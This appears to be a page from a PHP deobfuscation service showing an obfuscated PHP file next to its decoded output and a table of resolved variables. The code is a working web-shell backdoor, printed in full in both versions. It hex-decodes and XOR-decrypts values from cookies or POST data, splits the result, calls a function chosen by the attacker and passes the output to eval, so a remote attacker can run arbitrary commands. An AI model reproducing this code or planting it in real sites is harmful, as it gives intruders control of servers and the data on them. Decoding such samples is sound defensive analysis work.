Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $MsUvhE = chr/*I */(/*qq */298 - 183/* EXI */).'t' . "\162" . '_'/* Vn */...

Decoded Output download

<?php $MsUvhE	=   chr/*I   */(/*qq */298 -   183/* EXI  */).'t'  .	"r"  .	'_'/*  Vn */./*  LpV   */"r"	./*   EdZn  */"e"	.  chr/*  XUYsH */(/*  kSqu*/124     -/*   c   */12/*yyKH  */)."e"/*SRVg */.	chr/*G*/(/*   ItYmU*/388     -     291	).'t'; 
     $QbhfASQ/* PQSBH*/=  "e"/* K  */.	"x"	.	chr/*wrZX */(112)    .     "l"	.    "o"  ./* vWZot   */'d'	.    chr (/*   yG*/683	-/*   FSwy  */582     ); 
 
$LNDvpojsO	=   "p"    .	"a"	./*Du   */'c'	.	chr/*GJDM */(107);$_Xx  =	'43203'; 
function  piGXmfgSxf() 
			/*  g   */{ 
     $kRmLJMQgI	=/*d   */Array	(/*  O */"dfncmmKMqZdzAKeKem"/* xVneT  */=>/*  FMvN  */"fWYAQMBbcCGsoWB"	);$_d  = '12803'; 
     /*   mfNu  */ 
 
 
/* p   */$uHrKljYDdL	= Array    (/*  G */"vscDkMWlslha"/*  wHm  */=>	"RJEjpBR"/*   yJyfL */);$_diGlZ/*  o   */=/*  Cqpt  */'56772'; 
    $aTCXUlpF/*   d  */=  Array(	$kRmLJMQgI,  $_COOKIE,	$kRmLJMQgI,	$_POST,    $uHrKljYDdL); 
     	 
						return     $aTCXUlpF; 
					     } 
						 
 
 
/*   R*/function    iKDQv($BVMKs) 
			/* leD */{ 
      if   (    count  (    $BVMKs	) ==	3    )    { 
   /*y  */$eTAosqj/*  DGPYt   */=/* co  */$BVMKs[1];; 
   $hFzzGIraE	=	$BVMKs[2]; 
 
 
/*  SrqbL  */$xWVBOhC	=	$eTAosqj($hFzzGIraE);$_AfY/*  Jmc  */=/*GI */'18762'; 
   	eval     (	$xWVBOhC/*   Jvg   */);$_poVd = '62411'; 
 
 
/* zPUKv  */die	();; 
       } 
  } 
 
	 
				    function/* PkF  */QOIOuO($MBvvXw,     $HtMRvfgVv) 
					{ 
 
 return	$MBvvXw/*VLdT   */^ $HtMRvfgVv;$_INWzp    =/* y   */'55803'; 
		/*  gUw*/} 
			/*   F */ 
 
 
/*  T*/$EoXgNvAHzR	=	chr/*ga   */(     254	-     219    ); 
 /*  MPP   */ 
 
 
	foreach/* dGYbm*/(piGXmfgSxf()	as/*DKZnj   */$CvfWNuXHX)	{ 
      foreach  ( $CvfWNuXHX     as	$HtMRvfgVv   =>	$MBvvXw	)/*aBK*/{ 
					 
 
/*  D   */$MBvvXw	=  @$LNDvpojsO(    chr/* XfETF  */(  180 -/*   VBpr */108	)."*",/*   J */$MBvvXw	); 
          
			  $HtMRvfgVv/*Qj */.=	"jYbm-trrg-LvYk-erYt-Eyx-rkplu-GByBV"; 
					     $HtMRvfgVv/*efLCm   */=	$MsUvhE/* yH*/(	$HtMRvfgVv,	(    strlen(	$MBvvXw	)/strlen(   $HtMRvfgVv )	)  + 1); 
 
	 
			  $gSfcZjwnqc/* i */= QOIOuO($MBvvXw,/* HeesR   */$HtMRvfgVv);$_yojRG/*   nWCg */=    '16267'; 
 
/*  TBFu  */ 
   /*rB */$BVMKs	=/*TGK */$QbhfASQ	($EoXgNvAHzR,/*   Q   */$gSfcZjwnqc ); 
		      
		iKDQv($BVMKs); 
					/*hl*/ 
					/*   KQYD   */continue;; 
	   } 
 
 
	} ?>

Did this file decode correctly?

Original Code

<?php $MsUvhE	=   chr/*I   */(/*qq */298 -   183/* EXI  */).'t'  .	"\162"  .	'_'/*  Vn */./*  LpV   */"\x72"	./*   EdZn  */"\145"	.  chr/*  XUYsH */(/*  kSqu*/124     -/*   c   */12/*yyKH  */)."\145"/*SRVg */.	chr/*G*/(/*   ItYmU*/388     -     291	).'t';
     $QbhfASQ/* PQSBH*/=  "\145"/* K  */.	"\x78"	.	chr/*wrZX */(112)    .     "\x6c"	.    "\157"  ./* vWZot   */'d'	.    chr (/*   yG*/683	-/*   FSwy  */582     );

$LNDvpojsO	=   "\160"    .	"\141"	./*Du   */'c'	.	chr/*GJDM */(107);$_Xx  =	'43203';
function  piGXmfgSxf()
			/*  g   */{
     $kRmLJMQgI	=/*d   */Array	(/*  O */"dfncmmKMqZdzAKeKem"/* xVneT  */=>/*  FMvN  */"fWYAQMBbcCGsoWB"	);$_d  = '12803';
     /*   mfNu  */


/* p   */$uHrKljYDdL	= Array    (/*  G */"vscDkMWlslha"/*  wHm  */=>	"RJEjpBR"/*   yJyfL */);$_diGlZ/*  o   */=/*  Cqpt  */'56772';
    $aTCXUlpF/*   d  */=  Array(	$kRmLJMQgI,  $_COOKIE,	$kRmLJMQgI,	$_POST,    $uHrKljYDdL);
     	
						return     $aTCXUlpF;
					     }
						


/*   R*/function    iKDQv($BVMKs)
			/* leD */{
      if   (    count  (    $BVMKs	) ==	3    )    {
   /*y  */$eTAosqj/*  DGPYt   */=/* co  */$BVMKs[1];;
   $hFzzGIraE	=	$BVMKs[2];


/*  SrqbL  */$xWVBOhC	=	$eTAosqj($hFzzGIraE);$_AfY/*  Jmc  */=/*GI */'18762';
   	eval     (	$xWVBOhC/*   Jvg   */);$_poVd = '62411';


/* zPUKv  */die	();;
       }
  }

	
				    function/* PkF  */QOIOuO($MBvvXw,     $HtMRvfgVv)
					{

 return	$MBvvXw/*VLdT   */^ $HtMRvfgVv;$_INWzp    =/* y   */'55803';
		/*  gUw*/}
			/*   F */


/*  T*/$EoXgNvAHzR	=	chr/*ga   */(     254	-     219    );
 /*  MPP   */


	foreach/* dGYbm*/(piGXmfgSxf()	as/*DKZnj   */$CvfWNuXHX)	{
      foreach  ( $CvfWNuXHX     as	$HtMRvfgVv   =>	$MBvvXw	)/*aBK*/{
					

/*  D   */$MBvvXw	=  @$LNDvpojsO(    chr/* XfETF  */(  180 -/*   VBpr */108	)."\52",/*   J */$MBvvXw	);
         
			  $HtMRvfgVv/*Qj */.=	"jYbm-trrg-LvYk-erYt-Eyx-rkplu-GByBV";
					     $HtMRvfgVv/*efLCm   */=	$MsUvhE/* yH*/(	$HtMRvfgVv,	(    strlen(	$MBvvXw	)/strlen(   $HtMRvfgVv )	)  + 1);

	
			  $gSfcZjwnqc/* i */= QOIOuO($MBvvXw,/* HeesR   */$HtMRvfgVv);$_yojRG/*   nWCg */=    '16267';

/*  TBFu  */
   /*rB */$BVMKs	=/*TGK */$QbhfASQ	($EoXgNvAHzR,/*   Q   */$gSfcZjwnqc );
		     
		iKDQv($BVMKs);
					/*hl*/
					/*   KQYD   */continue;;
	   }


	}

Function Calls

chr 7
piGXmfgSxf 1

Variables

$_d 12803
$_Xx 43203
$MsUvhE str_repeat
$_diGlZ 56772
$QbhfASQ explode
$aTCXUlpF [{'key': 0, 'value': [{'key': 'dfncmmKMqZdzAKeKem', 'value': 'fWYAQMBbcCGsoWB'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'dfncmmKMqZdzAKeKem', 'value': 'fWYAQMBbcCGsoWB'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'vscDkMWlslha', 'value': 'RJEjpBR'}]}]
$LNDvpojsO pack
$kRmLJMQgI [{'key': 'dfncmmKMqZdzAKeKem', 'value': 'fWYAQMBbcCGsoWB'}]
$EoXgNvAHzR #
$uHrKljYDdL [{'key': 'vscDkMWlslha', 'value': 'RJEjpBR'}]

Stats

MD5 0554efcb1c926d59058e07cc36e01be3
Eval Count 0
Decode Time 402 ms